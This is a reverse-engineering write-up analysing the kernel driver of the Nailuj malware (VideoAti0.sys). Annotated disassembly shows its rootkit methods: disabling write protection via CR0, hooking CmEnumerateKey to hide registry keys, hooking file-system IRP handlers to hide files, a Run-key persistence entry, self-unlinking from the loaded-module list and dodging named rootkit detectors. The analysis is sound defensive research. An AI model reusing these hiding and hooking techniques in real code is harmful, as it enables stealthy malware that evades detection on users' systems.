Zoom Icon

Nailuj Malware analysis

From UIC

Malware analysis: Nailuj sys file

Contents


Nailuj Malware analysis
Author: ZaiRoN
Email: zaironcrk (at) hotmail (dot) com
Website: ...
Date: 31/01/2007 (dd/mm/yyyy)
Level: Major skills are required
Language: English Flag English.gif
Comments: ...


Introduction

Lately a lot of malwares are using rootkit techniques. Private and antivirus companies are trying to develop tools against malwares but, despite the fact that most of the techniques are well documented around the net, only a few companies are getting positive results. This particular malware is a perfect example because when it came out only a few tools were able to recognize its nasty operations. Don't know what you think but that's sound a little bit strange for me.

The malware, named Nailuj by some antivirus companies, is composed of 3 files: VideoAti0.exe, VideoAti0.dll and VideoAti0.sys. I won't talk about all the files, but will focus my attention on only one, the sys file. This malware represents a nice target for those who want to approach a malware for the very first time because it uses well-known techniques, such as hiding files and hooking functions. Nothing hard once you have dealt with them at least once. In addition, the sys file is compiled in debug mode and every operation performed by the malware is documented inside the code. Yes, every time it does something it reveals its success or failure, printing out a comment using DbgPrint function. This is really useful because you know what it will do before starting to analyze the code, not so bad. Do you want something more for your first malware analysis?

Most of the analysis can be done with a disassembler but support from a kernel mode debugger comes in handy. To run the driver, I have used Kernel-Mode Driver Manager by Four-F. Using this software, you don't have to deal with the malware's other files. DbgView is useful also for its comments. You'll find the malware here: [1]


Tools

  • Ring0 debugger
  • Ida


Essay

Approaching the malware
The file to analyze is a .sys file so it's easy to approach the target. One of the first thing to look at is the DriverEntry routine which has this common declaration:

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING RegistryPath)

DriverEntry routine is used mainly for initialization purposes and it has some useful information inside, like callback definitions.

How to locate the function? One of the functions inside DriverEntry routine is IoCreateDevice, the function is surely called because if you want to control a device you have to create a device. Besides that, most of the time, a sys file doesn't have many functions declared inside and this is helpful for us. Knowing this information, it is not so difficult to locate the DriverEntry routine inside the disassembler's dead list, from all the functions you have to extract the ones with two parameters and a call to IoCreateDevice inside and then it's almost done.
Here is a little sum-up of the Nailuj DriverEntry routine:


Nailuj 0.jpg


As you can see, everything depends on the operations performed inside the box named 'General initialization' because if something goes wrong with the ‘initialization,' the sys file exits. During initialization, the malware retrieves some information that it will use in the following parts. Before analyzing the core of the file, it's good to have a look at what it really needs.

All my investigations are done on a WinXP machine, but the malware should run fine on both Win2K and WinXP systems. Inside the malware there are some kernel related operations and due to this fact it needs to confirm the installed OS; it uses this code to determine the OS:

00011557  mov eax, ds:NtBuildNumber
0001155C  and [ebp+var_4], 0
00011560  cmp word ptr [eax], 893h    // 0x893 = 2195. Win2K = 2195, WinXP = 2600
00011565  jnz short _11578__WinXP

Every time the malware needs to access OS specific kernel structures, you'll find the snippet above repeated. That's why I said it should run fine on both OSs.

Before starting, the malware needs to get the address of the PsLoadedModuleList variable. The content of the variable points to the head of a list that is used by the kernel; the list (a double linked list) contains information about the loaded drivers on the system. Every elements of the list represents a module and the structure of each element is defined as:

typedef struct _MODULE_ENTRY {
    LIST_ENTRY     le_mod;         // +00
    BYTE           unknown[16];    // +08
    DWORD          base;           // +18
    DWORD          driver_start;   // +1C
    DWORD          unknown_1;      // +20
    UNICODE_STRING driver_Path;    // +24
    UNICODE_STRING driver_Name;    // +28
    //    ...
} MODULE_ENTRY, *PMODULE_ENTRY;

To locate PsLoadedModuleList the malware uses this piece of code:

00011578  mov eax, 0FFDFF034h
0001157D  mov eax, [eax]
0001157F  mov eax, [eax+70h]
00011582  mov [ebp+var_4], eax   // eax = value stored inside PsLoadedModuleList variable

PsLoadedModuleList variable is OS dependent, so before this code you'll surely see the OS check mentioned before. This is an old technique exposed by Opcode.

Next the malware needs the ntoskrnl module. It checks for it by scanning PsLoadedModuleList:

000115FF mov  eax, _1436C__PsLoadedModuleList_Variable
00011604 mov  edi, ds:wcsncpy
0001160A mov  ebx, [eax]               // Takes the 1° element of PsLoadedModuleList
0001160C mov  esi, ebx                 // esi points to MODULE_ENTRY structure of the first
                                       // PsLoadedModuleList element
0001160E cmp  dword ptr [esi+20h], 0
00011612 jz   short loc_1165F
00011614 push dword ptr [esi+28h]      // +28: driver_Name
    ...
00011646 lea  eax, [ebp+var_208]       // Unicode path of the current module of the list
0001164C push offset unk_115AA         // wchar_t *: unicode of "krnl"
00011651 push eax                      // wchar_t *: unicode of current module
00011652 call ds:wcsstr                // Search the first occurrence of "krnl" in the current
                                       // module name
00011658 add  esp, 18h
0001165B test eax, eax                 // Is ntoskrnl the current module?
0001165D jnz  short _11667__ntoskrnl_module_found
0001165F mov  esi, [esi]               // +00: next module
00011661 cmp  esi, ebx                
00011663 jz   short loc_11687          // It stops when it reaches the first element for the
                                       // second time  
00011665 jmp  short loc_1160E          // Otherwise it jumps checking the next module

Nothing hard, a simple routine that scans the entire list looking for a module with "krnl" word inside; I'm pretty sure it's looking for ntoskrnl module. If the module isn’t found, the check routine ends when the first element is found for the second time. It's a double linked list! If the module is found in the list, the malware can proceed with the rest of the DriverEntry's instructions and create the device with the "VideoAti0" service name.

In the next parts of the article I'll talk about what happens after the driver initialization process. The malware performs various tasks and I'm going to discuss them separately:
- Hide registry keys
- IRP_MJ_CREATE, IRP_MJ_DIRECTORY_CONTROL modification
- Auto start when Windows starts
- Hide itself


Hide registry keys
As I stated in the beginning, the programmer calls DbgPrint many times. I believe the author used this function during the development process and maybe forgot to remove them all from the final (debug) release, just a thought. They are, however, really useful because in few seconds you can really understand what the malware does. The debug strings are not encrypted, and looking at them got my attention, particularly to one titled: "start register hook.\n". I'll start with this procedure:

000107B4  push ebx
000107B5  push edi
000107B6  push offset aStartRegisterH   // "start register hook.\n"
000107BB  call DbgPrint                 // Print the message

That sentence taken alone doesn't help too much, but it surely identifies a piece of code of some interest because of the DbgPrint call. Before inspecting the code I decided to look at the output produced by DbgView:


Nailuj 1.jpg


Hm, what about CmEnumerateKey?

NTSTATUS CmEnumerateKey(IN PCM_KEY_CONTROL_BLOCK KeyControlBlock,
                        IN ULONG                 Index,
                        IN KEY_INFORMATION_CLASS KeyInformationClass,
                        IN PVOID                 KeyInformation,
                        IN ULONG                 Length,
                        IN PULONG                ResultLength)

According to the CmEnumerateKey documentation, the function returns the name of the Index-the entry of the open specified key. Hm, the printed string could be connected with that. Some lines below the DbgPrint function there is an interesting piece of code:

000107DD  call _1279A__CR0_Disable_WP   // Disable Write Protection
000107E2  mov  edi, _unknown
000107E8  mov  al, 68h
000107EA  stosb                         // Patch a byte
000107EB  lea  eax, sub_112D4
000107F1  stosd                         // Patch a dword
000107F2  mov  al, 0C3h
000107F4  stosb                         // Patch a byte
000107F5  call _127A8__CR0_Enable_WP    // Enable Write Protection

The code is used to patch 6 bytes starting from the address stored inside “_unknown” which is an address that points somewhere. At the moment I don't know what it's patching but CmEnumerateKey could be the right answer. On my machine the new bytes are:

68 D4 42 D2 F9  push F9D242D4
C3              ret

Address 0xF9D242D4 is inside the driver space, so it's pretty clear that the malware redirects something to a function inside the sys file. This is the classical situation of an API hook trick. The initial bytes of the hooked function are patched with a jump to another function. Using this method, the hooked function is called, but you don't know if it will be executed.

Some questions may arise at this point: Is it possible to patch one or more kernel bytes? Yes, but you have to enable write protection using a well documented trick which involves the Control Register 0. In the snippet above there are two calls and I renamed them as CR0_Enable_WP and CR0_Disable_WP because this is what they do:

CR0_Disable_WP:
0001279A  cli
0001279B  mov  eax, cr0
0001279E  and  eax, 0FFFEFFFFh
000127A3  mov  cr0, eax
000127A6  retn  
<br>CR0_Enable_WP:
000127A8  mov  eax, cr0
000127AB  or   eax, 10000h
000127B0  mov  cr0, eax
000127B3  sti
000127B4  retn

There are two more things we need to understand: What does it patch, and what is the function at offset 112D4.

To be sure it patches the initial bytes of CmEnumerateKey function, I put a breakpoint on one of the addresses printed by DebugView, 0x8056A6C4. The debugger breaks and I'm now sure the malware hooks CmEnumerateKey. As often happens, the new function calls the old function and then performs some operations over the data returned (by the old function). That's how a hook normally works and this hook is no exception. In fact, the function is called at the beginning of new_CmEnumerateKey. After this call, there is a check over the process name that calls CmEnumerateKey. Let’s look at the code:

00011354  push offset aFhs_exe        // "fhs.exe"
00011359  push eax                    // process name
0001135A  call edi                    // _stricmp
0001135C  pop  ecx
0001135D  test eax, eax
0001135F  pop  ecx
00011360  jnz  short _1136D__not_fhs_exe
00011362  lea  eax, [ebp+var_24]
00011365  push eax
00011366  push offset aProcessnameS   // "ProcessName:%S\n": parameter for the next DbgPrint
0001136B  jmp  short loc_11387

It does a string compare with "fhs.exe". If the strings are equal, the malware prints the debug string and quit from the procedure. It also does a compare with the string: "knlsc13.exe".
Fhs (Find Hidden Service) and knlsc (Kernel SC) processes are rootkit detectors. Scanning the Registry, fhs and knlsc are able to identify VideoAti0 driver as hidden service. The idea of the malware's programmer is to fool fhs and knlsc by not hiding VideoAti0 registry key. That's why nothing happens when one of two process is found.
Now, let's see what happens when the process name is not fhs.exe and not even knlsc13.exe. The malware hides two registry keys: "LEGACY_VIDEOATI0" and "VideoAti0". I'm pretty sure the author read the good paper by HolyFather, the one about invisibility on Nt!

00011396  cmp  edi, offset dword_14398
0001139C  jz   short loc_11408
0001139E  test edi, edi
000113A0  jz   short loc_11408
000113A2  push dword ptr [edi-8]       // To hide: "LEGACY_VIDEOATI0" or "VideoAti0"
000113A5  call ds:wcslen
000113AB  push eax      
000113AC  lea  eax, [ebx+10h]    
000113AF  push eax                     // The name of the current key
000113B0  push dword ptr [edi-8]       // Key to hide
000113B3  call ds:_wcsnicmp            // Is the string to hide?
000113B9  add  esp, 10h
000113BC  test eax, eax
000113BE  jz   short _113C5__HideReg   // Jump if it has to hide a key
000113C0  mov  edi, [edi+4]            // Get the next string to check (LEGACY_VideoAti0
                                       // and VideoAti0)
000113C3  jmp  short _11396__Check_Key_To_Hide
000113C5     _113C5__HideReg:
000113C5  push dword ptr [edi-8]
000113C8  push offset aFoundHideregS   // "Found HideReg:%S\n"
000113CD  call DbgPrint                // Print "Find HideReg:" followed by the name of the
                                       // reg key to hide
000113D2  pop  ecx
000113D3  inc  esi                     // Add 1 to the index of the subkey, subkey at esi
                                       // index will be hided!!!
000113D4  pop  ecx
000113D5  mov  dword_14374, 1
000113DF  push [ebp+arg_14]
000113E2  push [ebp+arg_10]
000113E5  push ebx
000113E6  push [ebp+arg_8]
000113E9  push esi                     // Index of the next key to return
000113EA  push [ebp+arg_0]
000113ED  call CmEnumerateKey          // Get the name of the key at the specified index

As you can see, at the end of the snippet is a call to CmEnumerateKey, the original bytes of the function are restored at the beginning of new_CmEnumerateKey and then patched again at the end of new_CmEnumerateKey. By doing this, the author avoids an infinite loop. The snippet is used to pass over the subkey for concealment. Pretty easy trick.


IRP_MJ_CREATE, IRP_MJ_DIRECTORY_CONTROL modification
"Hook Ntfs IRP_MJ_CREATE failed\n" is another entry inside DbgView output, another good starting point. The malware attempts to hook IRP_MJ_CREATE and IRP_MJ_DIRECTORY_CONTROL. This is done inside the call at offset 0x10BBE. Inside, you'll see the same operations performed two times, because the malware manages both Ntfs and Fastfat files systems. This is the scheme called for a Ntfs file system (the one on my machine):

1. Try to get NTFS device object address
2. Try to set IRP_MJ_CREATE hook
3. Try to set IRP_MJ_DIRECTORY_CONTROL hook

For those with FastFat, the process is the same. To locate the system, the device object uses the function ObReferenceObjectByName. The most interesting things are point’s 2 and 3, above. The hook is done the same way; the old pointer is replaced by a new one. In this case there are two hooks and there will be two functions to analyze.

An IRP_MJ_CREATE request is sent when a new file or directory is created or in general when a file/device/directory is opened. The new function simply checks if the name of a new/open file/directory contains one of these words: Fastfat.sys, Ntfs.sys, fastfat.sys, ntfs.sys, tmp.hiv.

If the string contains one of these the malware blocks the operation:

00010FB3  mov  ecx, [ebp+Irp]          // Received IRP
00010FB6  mov  esi, STATUS_ACCESS_DENIED
00010FBB  xor  dl, dl
00010FBD  and  dword ptr [ecx+1Ch], 0
00010FC1  mov  [ecx+18h], esi          // Irp.IoStatus = STATUS_ACCESS_DENIED        
00010FC4  call ds:IofCompleteRequest   // Returns the Irp to the I/O Manager
00010FCA  mov  eax, esi
00010FCC  jmp  short loc_10FA5

The IRP_MJ_CREATE dispatch routine changes the Irp before returning the Irp to the I/O Manager (calling IoCompleteRequest). The I/O Manager will receive a modified Irp! The I/O operation can't be performed because Iostatus field (it holds the status of the I/O operation) is forced to STATUS_ACCESS_DENIED. That's how the malware blocks every operation which involves the names listed above. If you want to see the trick in action you have only to create a new directory naming it ntfs.sys, that's the result:


Nailuj 2.jpg


Access denied! Sorry, it's in Italian, but I think you can understand it, I bet you have already seen this box before...

An IRP_MJ_DIRECTORY_CONTROL request is sent when a list of directories and files is requested; the new dispatch routine is used to hide files on our system. It tries to hide three files: VideoAti0.dll, VideoAti0.exe and VideoAti0.sys unlinking a specific structure from a list. We'll see later what is in the list and how the unlinking works.

000110D6  mov  ecx, [ebp+Irp]
000110D9  push ecx
000110DA  push edx
000110DB  mov  eax, [ecx+60h]                            // +60: Current Stack Location
000110DE  mov  esi, [ecx+3Ch]                            // +3C: UserBuffer
000110E1  cmp  byte ptr [eax+1], IRP_MN_QUERY_DIRECTORY  // [eax+1] = MinorFunction =
                                                         // = IRP_MN_QUERY_DIRECTORY
000110E5  mov  edi, [eax+0Ch]                            // edi = 3, FileBothDirectoryInformation
000110E8  jz   short loc_110F1                           // Jump!
000110EA  call ebx                                       // Something goes wrong, call the
                                                         // dispatch function
000110EC  jmp  loc_11287                                 // and jump to the end of the call...
000110F1  call ebx                                       // Old IRP_MJ_DIRECTORY_CONTROL function
000110F3  test eax, eax                                  // Test the result
000110F5  mov  [ebp+var_8], eax
000110F8  jl   loc_11287

The malware gets the address of the Current Stack Location. The stack location contains useful information about the user buffer data. The malware needs this information because it has to know the MinorFunction, IRP_MN_QUERY_DIRECTORY in this case.

Next it takes the address of the UserBuffer which is used to store information about the contents of the directory. The buffer is filled by the original dispatch function with the requested information which is stored inside the Irp structure:
- Major function: IRP_MJ_DIRECTORY_CONTROL
- Minor function: IRP_MN_QUERY_DIRECTORY: a directory query request

At this point the buffer contains some data which the malware can play with. Let's see what it does:

0001114D  mov  eax, [esi]                   // esi -> current structure inside UserBuffer
0001114F  mov  edi, [ebp+0Ch]
00011152  mov  [ebp+arg_0], eax             // Save the offset of the next structure of the buffer
00011155  mov  ecx, 82h
0001115A  xor  eax, eax
0001115C  lea  ebx, [esi+5Eh]               // +5E: Filename
0001115F  rep stosd                         // Copy the file name
00011161  mov  eax, [esi+3Ch]               // +3C: Length of the filename in unicode
00011164  shr  eax, 1
00011166  push eax                          // size_t
00011167  push ebx                          // wchar_t *: filename of the current entry
                                            // inside UserBuffer
00011168  push [ebp+0Ch]                    // wchar_t *: buffer
0001116B  call ds:wcsncpy                   // copy the filename into the buffer
00011171  mov  edi, dword_14384             // list of the files to hide
00011177  add  esp, 0Ch
0001117A  _1117A__NextFile:
0001117A  cmp  edi, offset dword_14380
00011180  jz   loc_11258                    // Jump if it has checked the filenames of
                                            // the files to hide
00011186  push [ebp+0Ch]                    // wchar_t *: current file of the directory
00011189  push dword ptr [edi-8]            // wchar_t *: current filename to check
0001118C  call ds:_wcsicmp                  // Compare the two filenames
00011192  pop  ecx
00011193  test eax, eax
00011195  pop  ecx
00011196  jz   short  _1119D__File_To_Hide  // Jump if it needs to hide a file
00011198  mov  edi, [edi+4]                 // Moves on the next filename to check
0001119B  jmp  short _1117A__NextFile       // and jump above
   ...
00011258  mov  [ebp+var_4], esi             // Save the pointer to the current structures,
                                            // necessary for the unlinking
0001125B  mov  eax, [esi]                   // Get the offset of the next structure
0001125D  test eax, eax
0001125F  jz   short loc_11263
00011261  add  esi, eax                     // Move the pointer to the next structure    
00011263  cmp  [ebp+arg_0], 0               // Is there another structure?
00011267  jz   short loc_1127B              // No: quit
00011269  jmp  loc_1114D                    // Yes: jump up and check

First of all, it wants to know if it needs to hide one or more files. The files it needs to hide are: VideoAti0.sys, VideoAti0.exe and VideoAti0.dll. To make this determination, the malware scans the buffer filled by the old IRP_MJ_DIRECTORY_CONTROL dispatch call. The buffer is filled with a sequence of structures, each containing information about a filename. The characteristics of the single structure depend on the FileInformationsClass parameter, in this case FileBothDirectoryInformation. Of all the fields inside the structure, only three are used by the snippet above: offset to the next structure, file name and length of the file name. It doesn't need anything else.
The malware does a compare between strings of the “filename to hide” and “the current filename” inside the UserBuffer. If the filenames are the same, the next step is the hiding of its component file, otherwise it simply checks the next filename.
Once it has done all the checks on the current entry, it moves to the next entry inside UserBuffer. Before moving to the next entry, the malware saves the pointer to the current structure because it will come in handy for a possible structure unlink.

How does the unlink work? Suppose it opens a directory containing one of the file to be hidden (named “To_Hide”) and other files (named A, B, and C); suppose that the structures are linked in this way:


Nailuj 3.jpg


“To_Hide” is linked inside the structure and at the moment is visible, a field inside A tells me where “To_Hide” is and a field inside “To_Hide” tells me where B is. To hide the file the malware simply unlinks “To_Hide’s” structure from the rest of the chain. By doing this operation, the system will only see A, B, C. To_Hide won't be shown.


Nailuj 4.jpg


This is possible because the first field of every structure is named NextEntryOffset and it represents the offset of the next instruction. Doing:

A.NextEntryOffset = A.NextEntryOffset + To_Hide.NextEntryOffset

you'll obtain the situation described above. Now take a look at the snippet that is called when a file needs to be hidden:

000111B6  mov  edx, [ebp+var_4]   // edx -> "A", structure that preceeds the structure to unlink
000111B9  test edx, edx
000111BB  jz   short loc_111E2
000111BD  mov  ecx, [edx]         // ecx = A.NextEntryOffset, from "A" to "To_Hide" offset
000111BF  test ecx, ecx
000111C1  jz   short loc_111E2
000111C3  test esi, esi           // esi -> "To_Hide", the structure to unlink
000111C5  jz   loc_1125B
000111CB  mov  eax, [esi]         // eax = To_Hide.NextEntryOffset, from "To_Hide" to "B" offset
000111CD  test eax, eax          
000111CF  jz   short loc_111E2
000111D1  add  ecx, eax           // Important operation:
                                  // A.NextEntryOffset + To_Hide.NextEntryOffset
000111D3  push offset aMoveNextentryo
000111D8  mov  [edx], ecx         // Store the result in A.NextEntryOffset, the unlink has done!



Auto start when Windows starts
Speaking in general, one of the features of a malware is the ability to run every time Windows starts. There are several ways to make it run at start-up, the most frequently used methods involve using the Windows registry; which is what this malware uses.

Again, starting from the debugview output I arrive here:

0001047C  push FALSE                           // Remove: callback added
0001047E  push offset NotifyRoutine            // NotifyRoutine
00010483  call PsSetCreateProcessNotifyRoutine

PsSetCreateProcessNotifyRoutine is used to add/remove a driver callback routine to a list of routines called when a process is created or deleted. The routine is added and it's located at offset 0x1092B:

00010937  push eax                             // *PEPROCESS
00010938  push [ebp+_ProcessId]                // ProcessId to convert into EPROCESS pointer
0001093B  call ds:PsLookupProcessByProcessId   // Return a pointer to EPROCESS structure
00010941  test eax, eax
00010943  jl   short loc_10992
00010945  push esi
00010946  push [ebp+Object]
00010949  call sub_12788                       // Get ImageFileName field from EPROCESS structure
0001094E  mov  ecx, [ebp+Object]
00010951  mov  esi, eax
00010953  call ds:ObfDereferenceObject
00010959  push offset aUserinit_exe            // "userinit.exe"
0001095E  push esi                             // char *: ImageFileName of the new process
0001095F  call ds:_stricmp                     // Compare the strings
00010965  pop  ecx
00010966  pop  ecx
00010967  pop  esi
00010968  test eax, eax
0001096A  jnz  short loc_10992 // Jump if not equal
0001096C  push 1085A           // "VideoAti0.exe"
00010971  push 10876           // "ATICardInit"
00010976  push 1088E       // "\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
0001097B  call sub_1280C       // Registry related operations inside

That last push should make the bells go off! It is the path to the “Run” folder, the place for the programs Windows will start every time it is started. A quick glance inside the call confirms what I was suspecting. A new key named ATICardInit was created with value "VideoAti0.exe". (In this article I haven't analyze the exe file but, as you can guess, it loads both the dll and the sys file so the malware will be in running mode until your antivirus (or you) catches it.)
This key will be created every time the process "userinit.exe" is launched. If you are not sure what userinit.exe is, I suggest you to run it from the command line. Yes! How many times have you used it without knowing anything about its filename? Ahah!

To sum up, the malware adds a new callback routine via PsSetCreateProcessNotifyRoutine and every time the process userinit.exe is created the malware adds a new key inside the Windows registry, used to start the malware when Windows starts.


Hide itself
In the last part of the article, I’ll show you how the malware tries to hide its sys file. At the beginning of the article, I said that the malware needs two pieces of information before starting, one of them is PsLoadedModuleList symbol and the time to use it it's finally arrived.

PsLoadedModuleList stores the address of the head of a list. This list (a double linked list) contains information about all loaded drivers. The malware takes the address of the first element of the list and start checking all the loaded modules. Why? Let's see:

000117C1  _117C1__Next_Module_List_Entry:
  ...
000117D4  mov  eax, [esi+28h]             // +28: name of the current module
  ...
000117DB  movzx ecx, word ptr [esi+24h]   // +24: length in bytes of the module path
                                          // (it is a unicode string)
000117DF  shr  ecx, 1                     // Get the real length of the module path
000117E1  push ecx                        // size_t
000117E2  push eax                        // wchar_t *: name of the current module
000117E3  lea  eax, [ebp+var_208]         // Buffer
000117E9  push eax                        // wchar_t *
000117EA  call ds:wcsncpy                 // Copy the path into another buffer
000117F0  lea  eax, [ebp+var_208]
000117F6  push eax                        // wchar_t *
000117F7  call ds:_wcslwr                 // Tolower(module path)
000117FD  lea  eax, [ebp+var_208]         // Module path in lowercase
00011803  push offset aVideoati0          // Unicode of "videoati0"
00011808  push eax                        // wchar_t *
00011809  call ds:wcsstr                  // Locate the first occurrence of "videoati0"
                                          // in the current module name
0001180F  add  esp, 18h
00011812  test eax, eax
00011814  jnz  short loc_1181E            // Jump if module was found
00011816  mov  esi, [esi]                 // Next module entry
00011818  cmp  esi, edi                   // Are all entries checked?
0001181A  jz   short loc_11828            // Yes: jump down...
0001181C  jmp  short _117C1__Next_Module_List_Entry
0001181E  mov  eax, [esi]                 // Unlink!
00011820  mov  esi, [esi+4]               // Unlink!
00011823  mov  [eax+4], esi               // Unlink!
00011826  mov  [esi], eax                 // Unlink!

It looks for a module named "videoati0" (itself) and then it unlinks the module from the list. The idea behind this unlinking is the same as we saw where the malware tries to hide its file names, but there's a little difference.
The first field of the MODULE_ENTRY structure is a LIST_ENTRY structure which has two fields, named flink and blink (forward and backward link). The fields are pointers. The first one is the pointer to the next structure and the other field is the pointer to the previous structure. Because it's a double linked list, two pointers are necessary:


Nailuj 5.jpg


The instructions in range 1181E/11826 do the unlink, the result is:


Nailuj 6.jpg
0001181E  mov  eax, [esi]     // esi points to To_Hide, the structure to hide. eax points to B
00011820  mov  esi, [esi+4]   // After the instruction esi points to A
00011823  mov  [eax+4], esi   // B.blink = A
00011826  mov  [esi], eax     // A.flink = B

That's all...


Note Finali

For any kind of comments/criticism/suggestions, feel free to contact me at zaironcrk[at]hotmail[dot]com

I documenti qui pubblicati sono da considerarsi pubblici e liberamente distribuibili, a patto che se ne citi la fonte di provenienza. Tutti i documenti presenti su queste pagine sono stati scritti esclusivamente a scopo di ricerca, nessuna di queste analisi è stata fatta per fini commerciali, o dietro alcun tipo di compenso. I documenti pubblicati presentano delle analisi puramente teoriche della struttura di un programma, in nessun caso il software è stato realmente disassemblato o modificato; ogni corrispondenza presente tra i documenti pubblicati e le istruzioni del software oggetto dell'analisi, è da ritenersi puramente casuale. Tutti i documenti vengono inviati in forma anonima ed automaticamente pubblicati, i diritti di tali opere appartengono esclusivamente al firmatario del documento (se presente), in nessun caso il gestore di questo sito, o del server su cui risiede, può essere ritenuto responsabile dei contenuti qui presenti, oltretutto il gestore del sito non è in grado di risalire all'identità del mittente dei documenti. Tutti i documenti ed i file di questo sito non presentano alcun tipo di garanzia, pertanto ne è sconsigliata a tutti la lettura o l'esecuzione, lo staff non si assume alcuna responsabilità per quanto riguarda l'uso improprio di tali documenti e/o file, è doveroso aggiungere che ogni riferimento a fatti cose o persone è da considerarsi PURAMENTE casuale. Tutti coloro che potrebbero ritenersi moralmente offesi dai contenuti di queste pagine, sono tenuti ad uscire immediatamente da questo sito.

Vogliamo inoltre ricordare che il Reverse Engineering è uno strumento tecnologico di grande potenza ed importanza, senza di esso non sarebbe possibile creare antivirus, scoprire funzioni malevole e non dichiarate all'interno di un programma di pubblico utilizzo. Non sarebbe possibile scoprire, in assenza di un sistema sicuro per il controllo dell'integrità, se il "tal" programma è realmente quello che l'utente ha scelto di installare ed eseguire, né sarebbe possibile continuare lo sviluppo di quei programmi (o l'utilizzo di quelle periferiche) ritenuti obsoleti e non più supportati dalle fonti ufficiali.